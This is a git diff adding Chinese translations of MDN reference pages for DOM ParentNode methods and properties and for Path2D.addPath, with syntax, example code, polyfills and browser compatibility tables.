为了保证向后兼容,append 方法在 with 语句中会被特殊处理,详情请看 {{jsxref("Symbol.unscopables")}}。

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined 
+ +

Polyfill

+ +

下面的 Polyfill 只支持到 IE 9  及以上:

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.ParentNode.append")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/parentnode/childelementcount/index.html b/files/zh-cn/web/api/parentnode/childelementcount/index.html new file mode 100644 index 0000000000..0169eb3ed5 --- /dev/null +++ b/files/zh-cn/web/api/parentnode/childelementcount/index.html @@ -0,0 +1,152 @@ +--- +title: ParentNode.childElementCount +slug: Web/API/ParentNode/childElementCount +translation_of: Web/API/ParentNode/childElementCount +--- +

{{ APIRef("DOM") }} 

+ +

 ParentNode.childElementCount 只读属性返回一个无符号长整型数字,表示给定元素的子元素数。

+ +
+

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, childElementCount moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.

+
+ +

 

+ +

语法

+ +
var count = node.childElementCount;
+ +
var elCount = elementNodeReference.childElementCount;
+
+ +
+
count
+
holds the return value an unsigned long (simply an integer) type.
+
node
+
is an object representing a DocumentDocumentFragment or Element.
+
+ +

例子

+ +
var foo = document.getElementById("foo");
+if (foo.childElementCount > 0) {
+    // do something
+}
+ +

下例演示了一个元素节点的childElementCount属性以及children属性的用法.

+ +
<head>
+    <script type="text/javascript">
+        function GetChildCount () {
+            var container = document.getElementById ("container");
+
+            var childCount = 0;
+            //如果支持childElementCount属性
+            if ('childElementCount' in container) {
+                childCount = container.childElementCount;
+            }
+            else {
+            //如果支持children属性,IE6/7/8
+            //译者注:没有判断nodeType是否为1,可能包含注释节点.
+                if (container.children) {
+                    childCount = container.children.length;
+                }
+                else {  //,如果都不支持,Firefox 3.5之前版本
+                    var child = container.firstChild;
+                    while (child) {
+                        if (child.nodeType == 1 /*Node.ELEMENT_NODE*/) {
+                            childCount++;
+                        }
+                        child = child.nextSibling;
+                    }
+                }
+            }
+
+            alert ("The number of child elements is " + childCount);
+        }
+    </script>
+</head>
+<body>
+    <div id="container" style="width:300px; background-color:#a0d0e0;">
+        Some text inside the container.
+        <input type="text" size="40" value="a child element of the container" />
+        <div>
+            <div>a descendant element of the container</div>
+            <div>another descendant element of the container</div>
+        </div>
+    </div>
+    <br /><br />
+    <button onclick="GetChildCount ();">Get the number of container's child elements</button>
+</body>
+
+ +
执行上面的例子:http://help.dottoro.com/external/examples/ljsfamht/childElementCount_1.htm
+ +

 

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{ CompatGeckoDesktop("3") }}{{ CompatVersionUnknown() }}9.0{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support?????
+
+ +

规范

+ +

childElementCount (W3C)

+ +

相关链接

+ + + +

 

diff --git a/files/zh-cn/web/api/parentnode/children/index.html b/files/zh-cn/web/api/parentnode/children/index.html new file mode 100644 index 0000000000..35419a52b6 --- /dev/null +++ b/files/zh-cn/web/api/parentnode/children/index.html @@ -0,0 +1,117 @@ +--- +title: ParentNode.children +slug: Web/API/ParentNode/children +tags: + - Property +translation_of: Web/API/ParentNode/children +--- +

{{ APIRef("DOM") }}

+ +

ParentNode.children 是一个只读属性,返回 一个Node的子{{domxref("Element","elements")}} ,是一个动态更新的 {{domxref("HTMLCollection")}}。

+ +

语法

+ +
var children = node.children;
+ +
var elList = elementNodeReference.children;
+
+ +

备注

+ +

children 属性为只读属性,对象类型为 {{ domxref("HTMLCollection") }},你可以使用 elementNodeReference.children[1].nodeName 来获取某个子元素的标签名称。

+ +

例子

+ +
// parg是一个指向<p>元素的对象引用
+if (parg.childElementCount)
+// 检查这个<p>元素是否有子元素
+// 译者注:childElementCount有兼容性问题
+ {
+   var children = parg.children;
+   for (var i = 0; i < children.length; i++)
+   {
+   // 通过children[i]来获取每个子元素
+   // 注意:List是一个live的HTMLCollection对象,在这里添加或删除parg的子元素节点,都会立即改变List的值.
+   };
+ };
+
+ +

规范

+ +

 

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support13.59 (IE6-8 incl commend nodes)104
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

[1] Internet Explorer 6 - 8 支持该属性,但是可能会错误地包含注释 {{domxref("Comment")}} 节点。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/parentnode/firstelementchild/index.html b/files/zh-cn/web/api/parentnode/firstelementchild/index.html new file mode 100644 index 0000000000..1ff4b6f06f --- /dev/null +++ b/files/zh-cn/web/api/parentnode/firstelementchild/index.html @@ -0,0 +1,95 @@ +--- +title: Element.firstElementChild +slug: Web/API/ParentNode/firstElementChild +translation_of: Web/API/ParentNode/firstElementChild +--- +

{{ APIRef("DOM") }}

+ +

ParentNode.firstElementChild 只读属性,返回对象的第一个子 {{domxref("元素")}}, 如果没有子元素,则为null。

+ +
+

他的属性最初是在{{domxref("element遍历")}}纯接口中定义的。由于这个接口包含两组不同的属性,一个针对具有子元素的{{domxref("Node")}},一个针对子元素的属性,因此它们被移动到两个单独的纯接口中,{{domxref("ParentNode")}}和{{domxref("ChildNode")}}。在本例中,firstElementChild移动到{{domxref("ParentNode")}}。这是一个相当技术性的更改,不应该影响兼容性。

+
+ +

语法

+ +
var element = node.firstElementChild;
+
+ +

例子

+ +
<ul id="foo">
+  <li>First  (1)</li>
+  <li>Second (2)</li>
+  <li>Third  (3)</li>
+</ul>
+
+<script>
+var foo = document.getElementById('foo');
+// yields: First  (1)
+console.log(foo.firstElementChild.textContent);
+</script>
+
+ +

适用于 IE8、IE9 和 Safari 的 Polyfill

+ +
// Overwrites native 'firstElementChild' prototype.
+// Adds Document & DocumentFragment support for IE9 & Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &&
+        constructor.prototype &&
+        constructor.prototype.firstElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'firstElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = 0;
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversalinterface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to theElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ParentNode.firstElementChild")}}

+ +

参见

+ +

Ed

+ + diff --git a/files/zh-cn/web/api/parentnode/index.html b/files/zh-cn/web/api/parentnode/index.html new file mode 100644 index 0000000000..8248512594 --- /dev/null +++ b/files/zh-cn/web/api/parentnode/index.html @@ -0,0 +1,81 @@ +--- +title: ParentNode +slug: Web/API/ParentNode +tags: + - API + - DOM + - Mixin + - Node + - 参考 + - 接口 + - 节点 +translation_of: Web/API/ParentNode +--- +
{{APIRef("DOM")}}
+ +

ParentNode 混合了所有(拥有子元素的) {{domxref("Node")}} 对象包含的共有方法和属性。

+ +

ParentNode 是一个原始接口,不能够创建这种类型的对象;它在 {{domxref("Element")}}、{{domxref("Document")}} 和 {{domxref("DocumentFragment")}} 对象上被实现。

+ +

属性

+ +
+
{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}
+
返回一个当前 ParentNode 所含有的后代数量。
+
{{domxref("ParentNode.children")}} {{readonlyInline}}
+
返回一个包含 ParentNode 所有后代 {{domxref("Element")}} 对象的动态 {{domxref("HTMLCollection")}} 对象,忽略所有非元素子节点。
+
{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}
+
返回父节点的第一个 {{domxref("Element")}} 后代,没有时返回 null
+
{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}
+
返回父节点的最后一个 {{domxref("Element")}} 后代,没有时返回 null
+
+ +

方法

+ +
+
{{domxref("ParentNode.append()")}} {{experimental_inline}}
+
在父节点 ParentNode 的最后一个后代后面插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。
+
{{domxref("ParentNode.prepend()")}} {{experimental_inline}}
+
在父节点 ParentNode 第一个后代前插入一组 {{domxref("Node")}} 对象或者 {{domxref("DOMString")}} 对象。{{domxref("DOMString")}} 对象会以同等的 {{domxref("Text")}} 节点插入。
+
{{domxref("ParentNode.querySelector()")}}
+
返回以当前元素为根元素,匹配给定选择器的第一个元素 {{domxref("Element")}}。
+
{{domxref("ParentNode.querySelectorAll()")}}
+
返回一个 {{domxref("NodeList")}},表示以当前元素为根元素的匹配给定选择器组的元素列表。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}{{Spec2('DOM WHATWG')}}Split the ElementTraversal interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and used it on {{domxref("Element")}}.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ParentNode")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/parentnode/lastelementchild/index.html b/files/zh-cn/web/api/parentnode/lastelementchild/index.html new file mode 100644 index 0000000000..57481ff762 --- /dev/null +++ b/files/zh-cn/web/api/parentnode/lastelementchild/index.html @@ -0,0 +1,93 @@ +--- +title: Element.lastElementChild +slug: Web/API/ParentNode/lastElementChild +translation_of: Web/API/ParentNode/lastElementChild +--- +

{{ APIRef("DOM") }}

+ +

只读属性 ParentNode.lastElementChild 返回对象的最后一个子{{domxref("Element", "元素")}},如果没有子元素,则返回 null

+ +
+

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, lastElementChild moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.

+
+ +

语法

+ +
var element = node.lastElementChild; 
+ +

例子

+ +
<ul id="foo">
+  <li>First  (1)</li>
+  <li>Second (2)</li>
+  <li>Third  (3)</li>
+</ul>
+
+<script>
+var foo = document.getElementById('foo');
+// yields: Third  (3)
+console.log(foo.lastElementChild.textContent);
+</script>
+
+ +

适用于 IE8、IE9 和 Safari 的 Polyfill

+ +
// Overwrites native 'lastElementChild' prototype.
+// Adds Document & DocumentFragment support for IE9 & Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &&
+        constructor.prototype &&
+        constructor.prototype.lastElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'lastElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = nodes.length - 1;
+                while (node = nodes[i--]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ParentNode.lastElementChild")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/parentnode/prepend/index.html b/files/zh-cn/web/api/parentnode/prepend/index.html new file mode 100644 index 0000000000..f5e1a9fb55 --- /dev/null +++ b/files/zh-cn/web/api/parentnode/prepend/index.html @@ -0,0 +1,134 @@ +--- +title: ParentNode.prepend() +slug: Web/API/ParentNode/prepend +tags: + - API + - DOM + - Method + - Node + - ParentNode + - Reference + - prepend + - 方法 +translation_of: Web/API/ParentNode/prepend +--- +
{{APIRef("DOM")}}
+ +

ParentNode.prepend 方法可以在父节点的第一个子节点之前插入一系列{{domxref("Node")}}对象或者{{domxref("DOMString")}}对象。{{domxref("DOMString")}}会被当作{{domxref("Text")}}节点对待(也就是说插入的不是HTML代码)。

+ +

语法

+ +
ParentNode.prepend((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
nodes
+
要插入的一系列{{domxref("Node")}}或者{{domxref("DOMString")}}。
+
+ +

返回值

+ +

undefined.

+ +

错误

+ + + +

例子

+ +

Prepending an element

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ <span>, <p> ]
+
+ +

Prepending text

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"
+ +

Appending an element and text

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

ParentNode.prepend() is unscopable

+ +

prepend()不能在with语句内使用,详情参考{{jsxref("Symbol.unscopables")}}。

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined 
+ +

Polyfill

+ +

使用下面的代码在IE9或更高版本中模拟prepend()方法:

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+    arr.forEach(function (item) {
+        item.prepend = item.prepend || function () {
+            var argArr = Array.prototype.slice.call(arguments),
+                docFrag = document.createDocumentFragment();
+
+            argArr.forEach(function (argItem) {
+                var isNode = argItem instanceof Node;
+                docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+            });
+
+            this.insertBefore(docFrag, this.firstChild);
+        };
+    });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

兼容性

+ + + +

{{Compat("api.ParentNode.prepend")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/parentnode/queryselector/index.html b/files/zh-cn/web/api/parentnode/queryselector/index.html new file mode 100644 index 0000000000..e5e994c845 --- /dev/null +++ b/files/zh-cn/web/api/parentnode/queryselector/index.html @@ -0,0 +1,95 @@ +--- +title: ParentNode.querySelector() +slug: Web/API/ParentNode/querySelector +translation_of: Web/API/ParentNode/querySelector +--- +

{{APIRef("DOM")}}{{Draft}}

+ +

{{DOMxRef("ParentNode")}} mixin 将 querySelector() 方法定义为返回一个 {{DOMxRef("Element")}} 表示与指定的选择器组匹配的第一个元素,这些选择器是调用该方法的对象的后代。

+ +

如果您需要与选择器列表匹配的所有元素,使用 {{DOMxRef("ParentNode.querySelectorAll", "querySelectorAll()")}} 。

+ +
+

Note: 该方法的实现为 {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}} 和 {{DOMxRef("Element.querySelector()")}}.

+
+ +

语法

+ +
element = parentNode.querySelector(selectors);
+
+ +

参数

+ +
+
selectors
+
{{DOMxRef("DOMString")}} 包含一个或多个要匹配的选择器。该字符串必须是浏览器支持的compound selector list ;如果不是, 会抛出 SyntaxError 异常. 查阅 Locating DOM elements using selectors 获取有关选择器使用的更多信息. 可以通过使用逗号分隔多个选择器来指定它们。
+
+ +
+

Note: 必须使用反斜杠字符转义不属于CSS语法的字符。由于JavaScript也使用退格转义,因此在使用这些字符编写字符串文字是必须特别小心。查阅 {{anch("Escaping special characters")}} 获取更多信息。

+
+ +

返回值

+ +

第一个 {{DOMxRef("Element")}} 匹配至少一个指定的选择器,如果没有找到这样的元素,返回 null 。

+ +
+

Note: 如果指定的选择器包含 CSS pseudo-element, 则返回值始终为 null.

+
+ +

Exceptions

+ +
+
SyntaxError
+
指定的 selectors 字符串语法无效。
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}{{Spec2("DOM WHATWG")}}Living standard
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}{{Spec2("Selectors API Level 2")}}No change
{{SpecName("DOM4", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}{{Spec2("DOM4")}}Initial definition
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Original definition
+ +

Browser compatibility

+ + + +

{{Compat("api.ParentNode.querySelector")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/parentnode/queryselectorall/index.html b/files/zh-cn/web/api/parentnode/queryselectorall/index.html new file mode 100644 index 0000000000..1664ec5559 --- /dev/null +++ b/files/zh-cn/web/api/parentnode/queryselectorall/index.html @@ -0,0 +1,157 @@ +--- +title: ParentNode.querySelectorAll() +slug: Web/API/ParentNode/querySelectorAll +tags: + - API + - DOM + - Document + - ParentNode + - 参考 + - 方法 + - 查找 + - 选择器 +translation_of: Web/API/ParentNode/querySelectorAll +--- +
{{ApiRef("DOM")}}
+ +

The {{domxref("ParentNode")}} mixin defines the querySelectorAll() method 返回一个 {{domxref("NodeList")}} 表示元素的列表,把当前的元素作为根与指定的选择器组相匹配。

+ +

If you need only a single result, consider the {{domxref("ParentNode.querySelector", "querySelector()")}} method instead.

+ +
+

Note: This method is implemented as {{domxref("Element.querySelectorAll()")}}, {{domxref("Document.querySelectorAll()")}}, and {{domxref("DocumentFragment.querySelectorAll()")}}

+
+ +

语法

+ +
elementList = parentNode.querySelectorAll(selectors);
+
+ +

参数

+ +
+
selectors
+
一个或多个CSS选择器,这些选择器由逗号隔开。
+
A {{domxref("DOMString")}} containing one or more selectors to match against. This string must be a valid CSS selector string; if it's not, a SyntaxError exception is thrown. See Locating DOM elements using selectors for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas.
+
+ +
+

Note: Characters which are not part of standard CSS syntax must be escaped using a backslash character. Since JavaScript also uses backslash escaping, special care must be taken when writing string literals using these characters. See {{anch("Escaping special characters")}} for more information.

+
+ +

返回值

+ +

A non-live {{domxref("NodeList")}} containing one {{domxref("Element")}} object for each descendant node that matches at least one of the specified selectors.

+ +
+

Note: If the specified selectors include a CSS pseudo-element, the returned list is always empty.

+
+ +

Exceptions

+ +
+
SyntaxError
+
The syntax of the specified selectors string is not valid.
+
+ +

例子

+ +

To obtain a {{domxref("NodeList")}} of all of the {{HTMLElement("p")}} elements in the document:

+ +
var matches = document.querySelectorAll("p");
+ +

这个例子返回了所有 class 为 "note" 或者 "alert" 的 div 元素的一个列表:

+ +
var matches = document.querySelectorAll("div.note, div.alert");
+ +

Here, we get a list of <p> elements whose immediate parent element is a {{domxref("div")}} with the class "highlighted" and which are located inside a container whose ID is "test".

+ +
var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted > p");
+ +

This example uses an attribute selector to return a list of the {{domxref("iframe")}} elements in the document that contain an attribute named "data-src":

+ +
var matches = document.querySelectorAll("iframe[data-src]");
+ +

Here, an attribute selector is used to return a list of the list items contained within a list whose ID is "userlist" which have a "data-active" attribute whose value is "1":

+ +
var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active=1]");
+ +

User notes

+ +

querySelectorAll() behaves differently than most common JavaScript DOM libraries, which might lead to unexpected results.

+ +

HTML

+ +

Consider this HTML, with its three nested {{HTMLElement("div")}} blocks.

+ +
<div class="outer">
+  <div class="select">
+    <div class="inner">
+    </div>
+  </div>
+</div>
+ +

JavaScript

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, not 0!
+
+ +

In this example, when selecting ".outer .inner" in the context the <div> with the class "select", the element with the class ".inner" is still found, even though .outer is not a descendant of the base element on which the search is performed (".select"). By default, querySelectorAll() only verifies that the last element in the selector is within the search scope.

+ +

The {{cssxref(":scope")}} pseudo-class restores the expected behavior, only matching selectors on descendants of the base element:

+ +
var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM WHATWG")}}Living standard
{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("Selectors API Level 2")}}No change
{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}{{Spec2("DOM4")}}Initial definition
{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}{{Spec2("Selectors API Level 1")}}Original definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.ParentNode.querySelectorAll")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/parentnode/replacechildren/index.html b/files/zh-cn/web/api/parentnode/replacechildren/index.html new file mode 100644 index 0000000000..4f1a67ac1b --- /dev/null +++ b/files/zh-cn/web/api/parentnode/replacechildren/index.html @@ -0,0 +1,161 @@ +--- +title: ParentNode.replaceChildren() +slug: Web/API/ParentNode/replaceChildren +translation_of: Web/API/ParentNode/replaceChildren +--- +
{{APIRef("DOM")}}{{seecompattable}}
+ +

ParentNode.replaceChildren() 方法将一个 {{domxref("Node")}} 的后代替换为指定的后代集合。这些新的后代可以为 {{domxref("DOMString")}} 或 {{domxref("Node")}} 对象。

+ +

语法

+ +
// [Throws, Unscopable]
+ParentNode.replaceChildren(...nodesOrDOMStrings) // 返回 undefined
+
+ +

参数

+ +
+
nodesOrDOMStrings
+
一组用于替换 ParentNode 现有后代的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。若没有指定替代对象时,ParentNode 的所有后代都将被清空。
+
+ +

异常

+ + + +

例子

+ +

清空一个节点

+ +

replaceChildren() 为清空一个节点的后代提供了非常方便的机制,您只需在父节点不指定任何实参调用该方法即可。

+ +
myNode.replaceChildren();
+ +

在父节点之间转移节点

+ +

replaceChildren() 允许您更轻松地在父节点之间转移节点,而无需依赖冗余的循环代码。例如,有一个简单的应用程序让您选择您派对上的食物。它的 HTML 可能如下:

+ +
<h2>派对食物列表</h2>
+
+<main>
+  <div>
+    <label for="no">不,谢谢了!</label>
+
+    <select id="no" multiple size="10">
+      <option>苹果</option>
+      <option>橘子</option>
+      <option>葡萄</option>
+      <option>香蕉</option>
+      <option>奇异果</option>
+      <option>巧克力饼干</option>
+      <option>花生饼干</option>
+      <option>巧克力棒</option>
+      <option>火腿三明治</option>
+      <option>乳酪三明治</option>
+      <option>沙拉三明治</option>
+      <option>冰淇淋</option>
+      <option>果冻</option>
+      <option>胡萝卜和鹰嘴豆泥</option>
+      <option>玛格丽特披萨</option>
+      <option>腊肠比萨</option>
+      <option>素比萨</option>
+    </select>
+  </div>
+
+  <div class="buttons">
+    <button id="to-yes">转移到"是" --&gt;</button>
+    <button id="to-no">&lt;-- 转移到 "否"</button>
+  </div>
+
+  <div>
+    <label for="yes">是的,请!</label>
+
+    <select id="yes" multiple size="10">
+
+    </select>
+  </div>
+</main>
+ +

使用一些简单的 CSS 将两个选择列表排成一行,并将控制按钮放置在它们之间是很有意义的:

+ +
main {
+  display: flex;
+}
+
+div {
+  margin-right: 20px;
+}
+
+label, button {
+  display: block;
+}
+
+.buttons {
+  display: flex;
+  flex-flow: column;
+  justify-content: center;
+}
+
+select {
+  width: 200px;
+}
+ +

我们要做的是,当按下 “是” 按钮时,将 “否” 列表中的所有选定选项都转移到 “是” 列表中,然后当按下“否”按钮时,将 “是” 列表中的所有选定选项都转移到 “否” 列表中。

+ +

为此,我们为每个按钮提供一个 click 事件处理句柄,该事件句柄将所选选项赋值到第一个常量中,将要转移到的列表中的现有的选项赋值到第二个常量中。然后,它会调用列表的 replaceChildren() 方法,使用延展运算符传入两个常量,进而将两个常量中包含的所有选项转移到目标列表。

+ +
const noSelect = document.getElementById('no');
+const yesSelect = document.getElementById('yes');
+const noBtn = document.getElementById('to-no');
+const yesBtn = document.getElementById('to-yes');
+
+yesBtn.addEventListener('click', () => {
+  const selectedTransferOptions = document.querySelectorAll('#no option:checked');
+  const existingYesOptions = document.querySelectorAll('#yes option');
+  yesSelect.replaceChildren(...selectedTransferOptions, ...existingYesOptions);
+});
+
+noBtn.addEventListener('click', () => {
+  const selectedTransferOptions = document.querySelectorAll('#yes option:checked');
+  const existingNoOptions = document.querySelectorAll('#no option');
+  noSelect.replaceChildren(...selectedTransferOptions, ...existingNoOptions);
+});
+ +

最终结果如下:

+ +

{{EmbedLiveSample('Transferring_nodes_between_parents', '100%', '350')}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-parentnode-replacechildren', 'ParentNode.replaceChildren()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ParentNode.replaceChildren")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/path2d/addpath/index.html b/files/zh-cn/web/api/path2d/addpath/index.html new file mode 100644 index 0000000000..a19a3ce8cf --- /dev/null +++ b/files/zh-cn/web/api/path2d/addpath/index.html @@ -0,0 +1,181 @@ +--- +title: Path2D.addPath() +slug: Web/API/Path2D/addPath +translation_of: Web/API/Path2D/addPath +--- +
{{APIRef("Canvas API")}}
+ +

Path2D.addPath() 是 Canvas 2D API 根据指定路径变量添加路径的方法。

+ +

语法

+ +
void path.addPath(path [, transform]);
+
+ +

参数

+ +
+
path
+
需要添加的 {{domxref("Path2D")}} 路径。
+
transform {{optional_inline}}
+
{{domxref("SVGMatrix")}} 作为新增路径的变换矩阵。
+
+ +

示例

+ +

使用 addPath 方法

+ +

这是一段使用 addPath 方法的简单的代码片段。

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+// Create a new path with a rect
+var p1 = new Path2D();
+p1.rect(0,0,100,100);
+
+// Create another path with a rect
+var p2 = new Path2D();
+p2.rect(0,0,100,100);
+
+// Create transformation matrix that moves vertically 300 points to the right
+var m = document.createElementNS("http://www.w3.org/2000/svg", "svg").createSVGMatrix();
+m.a = 1; m.b = 0;
+m.c = 0; m.d = 1;
+m.e = 300; m.f = 0;
+
+// add the second path to the first path
+p1.addPath(p2, m);
+
+// Finally, fill the first path onto the canvas
+ctx.fill(p1);
+
+ +

修改下面的代码并在线查看 canvas 的变化 (查看浏览器兼容性列表,确定你目前的浏览器是否支持这个方法):

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
